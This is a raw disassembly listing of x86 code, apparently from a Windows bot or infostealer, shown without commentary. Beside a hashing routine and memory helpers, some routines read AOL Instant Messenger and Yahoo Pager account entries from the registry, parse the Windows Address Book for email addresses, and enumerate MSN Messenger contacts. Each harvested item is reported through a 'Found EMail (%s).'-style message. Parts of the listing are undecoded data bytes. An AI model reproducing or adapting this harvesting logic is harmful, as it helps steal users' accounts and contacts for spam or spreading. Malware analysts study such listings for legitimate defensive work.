		add	edx, [esp+5Ch+var_8]
		lea	edi, [edi+edx-546BDC59h]
		mov	edx, edi
		shr	edx, 11h
		shl	edi, 0Fh
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_2C]
		lea	ebx, [ebx+edi-36C5FC7h]
		mov	edi, ebx
		shl	edi, 15h
		shr	ebx, 0Bh
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		xor	ebx, edx
		add	ebx, [esp+5Ch+var_10]
		lea	ecx, [ecx+ebx+655B59C3h]
		mov	ebx, ecx
		shr	ebx, 1Ah
		shl	ecx, 6
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_34]
		lea	eax, [eax+ecx-70F3336Eh]
		mov	ecx, eax
		shr	ecx, 16h
		shl	eax, 0Ah
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_18]
		lea	edx, [edx+eax-100B83h]
		mov	eax, edx
		shr	eax, 11h
		shl	edx, 0Fh
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_3C]
		lea	edi, [edi+edx-7A7BA22Fh]
		mov	edx, edi
		shl	edx, 15h
		shr	edi, 0Bh
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_20]
		lea	ebx, [ebx+edi+6FA87E4Fh]
		mov	edi, ebx
		shr	edi, 1Ah
		shl	ebx, 6
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		xor	ebx, edx
		add	ebx, [esp+5Ch+var_4]
		lea	ecx, [ecx+ebx-1D31920h]
		mov	ebx, ecx
		shr	ebx, 16h
		shl	ecx, 0Ah
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_28]
		lea	eax, [eax+ecx-5CFEBCECh]
		mov	ecx, eax
		shr	ecx, 11h
		shl	eax, 0Fh
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_C]
		lea	edx, [edx+eax+4E0811A1h]
		mov	eax, edx
		shl	eax, 15h
		shr	edx, 0Bh
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_30]
		lea	edi, [edi+edx-8AC817Eh]
		mov	edx, edi
		shr	edx, 1Ah
		shl	edi, 6
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_14]
		lea	ebx, [ebx+edi-42C50DCBh]
		mov	edi, ebx
		shr	edi, 16h
		shl	ebx, 0Ah
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		push	40h
		xor	ebx, edx
		push	0
		add	ebx, [esp+64h+var_38]
		lea	ecx, [ecx+ebx+2AD7D2BBh]
		mov	ebx, ecx
		shr	ebx, 11h
		shl	ecx, 0Fh
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, ebp
		mov	ebp, [esi+8]
		add	ebp, ebx
		lea	eax, [eax+ecx-14792C6Fh]
		mov	ecx, [esi]
		add	ecx, edx
		mov	edx, eax
		shl	edx, 15h
		shr	eax, 0Bh
		or	edx, eax
		mov	eax, [esi+4]
		add	edx, ebx
		mov	ebx, [esi+0Ch]
		add	eax, edx
		add	ebx, edi
		mov	[esi+4], eax
		lea	eax, [esp+64h+var_40]
		push	eax
		mov	[esi], ecx
		mov	[esi+8], ebp
		mov	[esi+0Ch], ebx
		call	sub_434770
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 40h
		retn
sub_433AB0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 260h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434660	proc near		; CODE XREF: sub_433A20+14p
					; sub_433A20+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		mov	edi, [esp+4+arg_8]
		test	edi, edi
		jbe	short loc_4346A7
		mov	edx, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_4]
		push	esi
		or	esi, 0FFFFFFFFh
		lea	eax, [edx+1]
		sub	esi, edx


loc_43467A:				; CODE XREF: sub_434660+44j
		mov	dl, [ecx]
		add	ecx, 4
		mov	[eax-1], dl
		mov	edx, [ecx-4]
		shr	edx, 8
		mov	[eax], dl
		mov	edx, [ecx-4]
		shr	edx, 10h
		mov	[eax+1], dl
		mov	edx, [ecx-4]
		shr	edx, 18h
		mov	[eax+2], dl
		add	eax, 4
		lea	edx, [esi+eax]
		cmp	edx, edi
		jb	short loc_43467A
		pop	esi


loc_4346A7:				; CODE XREF: sub_434660+7j
		pop	edi
		retn
sub_434660	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4346D0	proc near		; CODE XREF: sub_433AB0+26p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		mov	ebp, [esp+4+arg_8]
		test	ebp, ebp
		jbe	short loc_43471A
		mov	ecx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, 0FFFFFFFEh
		lea	eax, [ecx+2]
		sub	edi, ecx


loc_4346ED:				; CODE XREF: sub_4346D0+46j
		xor	ecx, ecx
		xor	edx, edx
		mov	ch, [eax+1]
		mov	dl, [eax-1]
		mov	cl, [eax]
		add	eax, 4
		shl	ecx, 8
		or	ecx, edx
		xor	edx, edx
		mov	dl, [eax-6]
		add	esi, 4
		shl	ecx, 8
		or	ecx, edx
		mov	[esi-4], ecx
		lea	ecx, [edi+eax]
		cmp	ecx, ebp
		jb	short loc_4346ED
		pop	edi
		pop	esi


loc_43471A:				; CODE XREF: sub_4346D0+7j
		pop	ebp
		retn
sub_4346D0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434740	proc near		; CODE XREF: sub_433940+4Ep
					; sub_433940+9Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		test	esi, esi
		jbe	short loc_43475C
		mov	eax, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_4]
		sub	ecx, eax


loc_434753:				; CODE XREF: sub_434740+1Aj
		mov	dl, [ecx+eax]
		mov	[eax], dl
		inc	eax
		dec	esi
		jnz	short loc_434753


loc_43475C:				; CODE XREF: sub_434740+7j
		pop	esi
		retn
sub_434740	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434770	proc near		; CODE XREF: sub_433A20+60p
					; sub_433AB0+932p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		test	ecx, ecx
		jbe	short locret_43479E
		mov	al, [esp+arg_4]
		push	ebx
		mov	bl, al
		mov	edx, ecx
		mov	bh, bl
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, ebx
		shl	eax, 10h
		mov	ax, bx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		pop	edi
		pop	ebx

locret_43479E:				; CODE XREF: sub_434770+6j
		retn
sub_434770	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4347B0	proc near		; CODE XREF: sub_401C0Dj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4347B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	0Bh
		push	3
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+58h+var_3C]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_4347B0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Dh
		push	4Fh
		push	14h
		push	5
		lea	edx, [esp+30h]
		push	7
		push	edx
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017E4
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4348A0:				; CODE XREF: ___:loc_401F1Ej
		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43BDF6
		push	eax
		mov	eax, 16D4h
		mov	large fs:0, esp
		call	sub_436840
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+16F0h]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_434E5E
		push	80h
		mov	dword ptr [esp+1Ch], 800h
		call	near ptr 77C2C407h
		nop
		add	esp, 4
		mov	ebp, eax
		lea	eax, [esp+64h]
		mov	ecx, esi
		push	offset asc_443600 ; " "
		push	1
		push	eax
		call	sub_4016AE
		push	800h
		mov	dword ptr [esp+16F0h], 0
		call	sub_4367FA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 50F7241Dh, 4C48300h,	0B9F88Bh, 33000002h, 83D89C0h
		dd 0F30050E4h, 57D4BEABh, 4E8B0044h, 4C8D51FCh,	0EE85024h
		dd 8DFFFCCFh, 0C664244Ch, 16EC2484h, 0E8010000h, 0FFFCCB6Fh
		dd 0FB1C3D8Bh, 0FF500050h, 4C483D7h, 4C244C8Dh,	0CB59E850h
		dd 0FF50FFFCh, 4C483D7h, 0D9E89050h, 83778132h,	0C08508C4h
		dd 26A840Fh, 3E810000h,	80000001h, 9B840Fh, 568B0000h
		dd 0F0685204h, 55004435h, 1B9838E8h, 0B99000h, 33000002h
		dd 24BC8DC0h, 6F0h, 0F30CC483h,	100B9ABh, 0CBF0000h, 0F30050E4h
		dd 0E408A1ABh, 4C8D0050h, 948D1824h, 6E424h, 0C75100h
		dd 0
		dd 5208468Bh, 6A006Ah, 0FF006A50h, 75C085D3h, 0FC568B3Ch
		dd 0F424BC8Bh, 8D000016h, 6E4248Ch, 52510000h, 443D4C68h
		dd 694F8D00h, 0FCCABEE8h, 938F8AFFh, 50000000h,	94878Ah
		dd 51500000h, 4D60B568h, 0CE1AE800h, 0C483FFFCh, 90006A1Ch
		dd 4CB5C7E8h, 81168B02h, 1FAh, 0B5850F80h, 0A0000001h
		dd 446F70h, 40B9h, 24848800h, 0E0h, 0BC8DC033h,	0E124h
		dd 2444C700h, 10428h, 66ABF300h, 4C8DAAABh, 448D4424h
		dd 50513024h, 48244C8Dh, 4024448Dh, 4C8D5051h, 448D3C24h
		dd 50514424h, 54244C8Dh, 2C24448Dh, 4C8D5051h, 6A4824h
		dd 424848Dh, 51000001h,	44C75250h, 4424h, 0E8900000h, 247B54Ch
		dd 1424448Bh, 840FC085h, 13Ch, 0C085FF33h, 24247C89h, 12E860Fh
		dd 4C8D0000h, 548D4424h, 6A512024h, 6A006A00h, 24848D00h
		dd 0EF4h, 68575052h, 80000003h,	402444C7h, 800h, 0B506E890h
		dd 0C0850248h, 0E9850Fh, 4E8B0000h, 24948D04h, 0EE4h, 84685251h
		dd 55004436h, 20244489h, 96C7E890h, 0B9001Bh, 33000002h
		dd 24BC8DC0h, 6F4h, 0F310C483h,	100B9ABh, 0CBF0000h, 0F30050E4h
		dd 24448DABh, 19685010h, 6A000200h, 3685500h, 0E8800000h
		dd 250B4ACh, 8468B90h, 18244C8Dh, 0E424948Dh, 51000006h
		dd 14244C8Bh, 6A006A52h, 0FF515000h, 74C085D3h,	24548B0Bh
		dd 0E8905210h, 24CB480h, 8D08568Bh, 8D182444h, 6E4248Ch
		dd 8B500000h, 51142444h, 6A006Ah, 0D3FF5052h, 3C75C085h
		dd 8BFC568Bh, 16F424BCh, 8C8D0000h, 6E424h, 68525100h
		dd 443D4Ch, 0E8694F8Dh,	0FFFCC913h, 938F8Ah, 8A500000h
		dd 9487h, 68515000h, 4D60B5h, 0FCCC6FE8h, 1CC483FFh, 1024548Bh
		dd 0B41AE852h, 8B90024Ch, 8B24247Ch, 47142444h,	7C89F83Bh
		dd 820F2424h, 0FFFFFED2h, 4C244C8Dh, 0EC2484C6h, 16h, 0FCC619E8h
		dd 10C683FFh, 5A24FE81h, 820F0044h, 0FFFFFD2Ah,	0F75C2D8Bh
		dd 448D0050h, 68501C24h, 20019h, 0B068006Ah, 6800445Bh
		dd 80000002h, 302444C7h, 0
		dd 2C2444C7h, 80h, 448BD5FFh, 4C8D1C24h, 948D1824h, 2E424h
		dd 6A525100h, 68006A00h, 446A6Ch, 85D3FF50h, 0C1850FC0h
		dd 68000000h, 104h, 778DE890h, 0C483777Fh, 248C8D04h, 2E4h
		dd 0A468F08Bh, 5100445Bh, 446A5C68h, 4EE85600h,	90001B95h
		dd 443E8C68h, 0E8905600h, 7780A36Ch, 0C483F88Bh, 74FF8518h
		dd 948D5775h, 8024h, 52646A00h,	0BEF3E890h, 0C4837780h
		dd 74C0850Ch, 24448D53h, 6A44687Ch, 90500044h, 812F8BE8h
		dd 8C48377h, 3C75C085h,	0F424948Bh, 8D000016h, 517C244Ch
		dd 446A2868h, 694A8D00h, 0FCC7DEE8h, 848B50FFh,	170024h
		dd 94888A00h, 8A000000h, 9390h,	68525100h, 4D60B5h, 0FCCB33E8h
		dd 18C483FFh, 0BD93E857h, 83907780h, 0F68504C4h, 90560A74h
		dd 7F74EEE8h, 4C48377h,	1C24448Bh, 0C5E89050h, 8D024CB2h
		dd 0C71C244Ch, 80182444h, 51000000h, 2001968h, 68006A00h
		dd 446A00h, 268h, 8BD5FF80h, 8D1C244Ch,	8D182454h, 2E42484h
		dd 50520000h, 6A006Ah, 446A6C68h, 0D3FF5100h, 850FC085h
		dd 0BAh, 10468h, 7CE89000h, 83777F76h, 948D04C4h, 2E424h
		dd 68F08B00h, 4469F8h, 69E86852h, 0E8560044h, 1B943Dh
		dd 3E8C6890h, 0E8560044h, 7780A25Ch, 83F88B90h,	0FF8518C4h
		dd 8D576E74h, 802484h, 646A0000h, 0E2E89050h, 837780BDh
		dd 0C0850CC4h, 4C8D4C74h, 0CC687C24h, 51004469h, 2E7AE890h
		dd 0C4837781h, 75C08508h, 249C8B35h, 16F4h, 7C24548Dh
		dd 69B06852h, 4B8D0044h, 0C6CDE869h, 8B8AFFFCh,	93h, 94838A50h
		dd 50000000h, 60B56851h, 29E8004Dh, 83FFFCCAh, 905718C4h
		dd 80BC88E8h, 4C48377h,	0A74F685h, 73E5E856h, 8390777Fh
		dd 548B04C4h, 90521C24h, 4CB1BBE8h, 244C8D02h, 2484C764h
		dd 16ECh, 0FFFFFFFFh, 0FCC3CDE8h, 184E9FFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_434E5E:				; CODE XREF: ___:004348E1j
		lea	ecx, [edi+32h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_434FE2
		lea	eax, [esp+10h]
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareAmeric ; "Software\\America Online\\AOL	Instant	Mes"...
		push	80000001h
		nop
		call	near ptr 2940000h
		test	eax, eax
		jnz	loc_434FE2
		mov	ecx, 40h
		lea	edi, [esp+1E4h]
		rep stosd
		lea	ecx, [esp+14h]
		lea	edx, [esp+1E4h]
		push	ecx
		mov	ecx, [esp+14h]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		push	0
		push	offset dword_446948
		push	ecx
		mov	dword ptr [esp+2Ch], 100h
		nop
		call	near ptr 28E0000h
		test	eax, eax
		jz	short loc_434EE8
		mov	edx, [esp+10h]
		push	edx
		nop
		call	near ptr 2900000h
		jmp	loc_434FE2
; ---------------------------------------------------------------------------


loc_434EE8:				; CODE XREF: ___:00434ED6j
		mov	eax, [esp+14h]
		mov	ecx, [esp+10h]
		mov	ebp, dword_50F738
		push	ecx
		mov	byte ptr [esp+eax+1E8h], 0
		call	ebp
		lea	edx, [esp+1E4h]
		lea	ebx, [esi+69h]
		push	edx
		push	offset dword_44693C
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h
		lea	edx, [esp+10h]
		push	edx
		push	0F003Fh
		push	0
		push	offset aSoftwareYahooP ; "Software\\Yahoo\\Pager"
		push	80000001h
		call	near ptr 2940000h
		nop
		test	eax, eax
		jnz	loc_434FE2
		mov	ecx, 40h
		lea	edi, [esp+0E0h]
		rep stosd
		lea	eax, [esp+14h]
		lea	ecx, [esp+0E0h]
		push	eax
		mov	eax, [esp+14h]
		lea	edx, [esp+24h]
		push	ecx
		push	edx
		push	0
		push	offset aYahooUserId ; "Yahoo! User ID"
		push	eax
		mov	dword ptr [esp+2Ch], 100h
		call	near ptr 28E0000h
		nop
		test	eax, eax
		jz	short loc_434F9F
		mov	ecx, [esp+10h]
		push	ecx
		call	ebp
		jmp	short loc_434FE2
; ---------------------------------------------------------------------------


loc_434F9F:				; CODE XREF: ___:00434F94j
		mov	edx, [esp+14h]
		mov	eax, [esp+10h]
		push	eax
		mov	byte ptr [esp+edx+1E8h], 0
		call	ebp
		lea	ecx, [esp+0E0h]
		push	ecx
		push	offset aYahooS	; "yahoo: %s"
		mov	ecx, ebx
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_434FE2:				; CODE XREF: ___:00434E70j
					; ___:00434E94j ...
		mov	ecx, [esp+16E4h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 16E0h
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 1E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4351E0	proc near		; CODE XREF: sub_4016F4j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4351E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	5
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+3Ch+var_24]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017E4
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
sub_4351E0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_435280:				; CODE XREF: ___:loc_401FD7j
		sub	esp, 6CCh
		add	ecx, 4
		push	ebx
		push	ebp
		push	esi
		push	edi
		call	sub_4017E4
		mov	ebp, [esp+6E0h]
		push	eax
		lea	ecx, [ebp+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_43551E
		lea	eax, [esp+14h]
		mov	dword ptr [esp+20h], 320h
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareMicr_1 ; "Software\\Microsoft\\WAB\\WAB4\\Wab File Na"...
		push	80000001h
		nop
		call	near ptr 2940000h
		mov	eax, [esp+14h]
		test	eax, eax
		jz	loc_43551E
		lea	ecx, [esp+20h]
		lea	edx, [esp+1D8h]
		push	ecx
		push	edx
		push	0
		push	0
		push	offset byte_446F70
		push	eax
		nop
		call	near ptr 28E0000h
		mov	eax, [esp+14h]
		push	eax
		nop
		call	near ptr 2900000h
		push	0
		push	80h
		push	4
		push	0
		push	1
		lea	ecx, [esp+1ECh]
		push	80000000h
		push	ecx
		call	near ptr 28503A0h
		nop
		push	0
		push	0
		push	0
		mov	edi, eax
		push	2
		push	0
		push	edi
		mov	[esp+34h], edi
		call	near ptr 2710000h
		nop
		mov	ebx, eax
		test	ebx, ebx
		mov	[esp+24h], ebx
		jnz	short loc_435359
		push	edi
		nop
		call	near ptr 2830BD8h
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------


loc_435359:				; CODE XREF: ___:00435341j
		push	0
		push	0
		push	0
		push	4
		push	ebx
		nop
		call	near ptr 271077Ch
		mov	esi, eax
		test	esi, esi
		jnz	short loc_435389
		mov	esi, dword_50F8D8
		push	ebx
		call	esi
		push	edi
		call	esi
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------


loc_435389:				; CODE XREF: ___:0043536Cj
		xor	edx, edx
		xor	eax, eax
		mov	dh, [esi+63h]
		mov	ah, [esi+61h]
		mov	dl, [esi+62h]
		and	eax, 0FFFFh
		movsx	ecx, byte ptr [esi+64h]
		shl	edx, 10h
		or	edx, eax
		xor	eax, eax
		mov	al, [esi+60h]
		or	edx, eax
		mov	eax, ecx
		shl	eax, 4
		add	eax, ecx
		shl	eax, 2
		test	eax, eax
		jle	short loc_435428
		lea	ecx, [eax+43h]
		mov	eax, 0F0F0F0F1h
		lea	edi, [edx+esi]
		mul	ecx
		mov	ebx, edx
		shr	ebx, 6


loc_4353CB:				; CODE XREF: ___:0043541Ej
		xor	eax, eax
		mov	ecx, edi


loc_4353CF:				; CODE XREF: ___:004353DFj
		mov	dl, [ecx]
		add	ecx, 2
		mov	[esp+eax+0ACh],	dl
		inc	eax
		cmp	eax, 44h
		jle	short loc_4353CF
		lea	eax, [esp+0ACh]
		lea	ecx, [ebp+69h]
		push	eax
		push	offset aFoundEmailS_ ; "Found EMail (%s)."
		mov	byte ptr [esp+0F8h], 0
		call	sub_4014D3
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h
		add	edi, 44h
		dec	ebx
		jnz	short loc_4353CB
		mov	ebx, [esp+24h]
		mov	edi, [esp+1Ch]


loc_435428:				; CODE XREF: ___:004353B7j
		push	edi
		mov	edi, dword_50F8D8
		call	edi
		push	esi
		call	near ptr 2710987h
		nop
		push	ebx
		call	edi
		lea	eax, [esp+18h]
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareMicr_2 ; "Software\\Microsoft\\MessengerService\\Lis"...
		push	80000001h
		nop
		call	near ptr 2940000h
		test	eax, eax
		jnz	loc_43551E
		mov	ebx, off_50FBF0
		mov	dword ptr [esp+10h], 400h
		mov	dword ptr [esp+28h], 3
		xor	esi, esi


loc_435477:				; CODE XREF: ___:0043550Ej
		mov	ecx, 20h
		xor	eax, eax
		lea	edi, [esp+2Ch]
		push	esi
		rep stosd
		lea	ecx, [esp+30h]
		push	offset dword_446A88
		push	ecx
		call	ebx ; sub_5EE1E5
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+2E8h]
		add	esp, 0Ch
		rep stosd
		lea	edx, [esp+10h]
		lea	eax, [esp+2DCh]
		push	edx
		lea	ecx, [esp+2Ch]
		push	eax
		mov	eax, [esp+20h]
		push	ecx
		lea	edx, [esp+38h]
		push	0
		push	edx
		push	eax
		inc	esi
		mov	dword ptr [esp+28h], 400h
		nop
		call	near ptr 28E0000h
		test	eax, eax
		jnz	short loc_435513
		lea	ecx, [esp+2DCh]
		push	ecx
		push	offset dword_446A7C
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		mov	dl, [ebp+94h]
		push	eax
		mov	al, [ebp+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h
		push	64h
		nop
		call	near ptr 28302B0h
		jmp	loc_435477
; ---------------------------------------------------------------------------


loc_435513:				; CODE XREF: ___:004354D3j
		mov	ecx, [esp+18h]
		push	ecx
		nop
		call	near ptr 2900000h


loc_43551E:				; CODE XREF: ___:004352A4j
					; ___:004352D4j ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 0B0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4355E0	proc near		; CODE XREF: sub_401E47j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4355E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	7
		push	5
		push	12h
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+5Ch+var_3C]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_401681
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_4355E0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Bh
		push	17h
		push	4Fh
		push	14h
		push	5
		lea	edx, [esp+34h]
		push	7
		push	edx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_401681
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4356F0	proc near		; CODE XREF: sub_401E4Cj

var_135		= byte ptr -135h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= byte ptr -124h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_108		= byte ptr -108h
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_4356F0
		push	eax
		mov	large fs:0, esp
		sub	esp, 12Ch
		push	ebx
		push	esi
		mov	esi, [esp+140h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_435BC7
		push	ebp
		xor	ebp, ebp
		push	ebp
		push	offset asc_443600 ; " "
		lea	eax, [esp+150h+var_128]
		push	1
		push	eax
		mov	ecx, esi
		mov	[esp+158h+var_134], ebp
		mov	[esp+158h+var_130], 80h
		call	sub_4011EA
		lea	ecx, [esp+148h+var_134]
		mov	[esp+148h+var_4], ebp
		push	ecx
		push	20019h
		push	ebp
		mov	ecx, eax
		call	sub_4017E4
		mov	edi, dword_50F75C
		push	eax
		push	80000001h
		call	edi
		or	ebx, 0FFFFFFFFh
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	ebp
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	ebp
		push	ebp
		mov	ecx, eax
		mov	dword ptr [esp+154h], 1
		call	sub_4017E4
		mov	ebp, dword_50F724
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_43581C
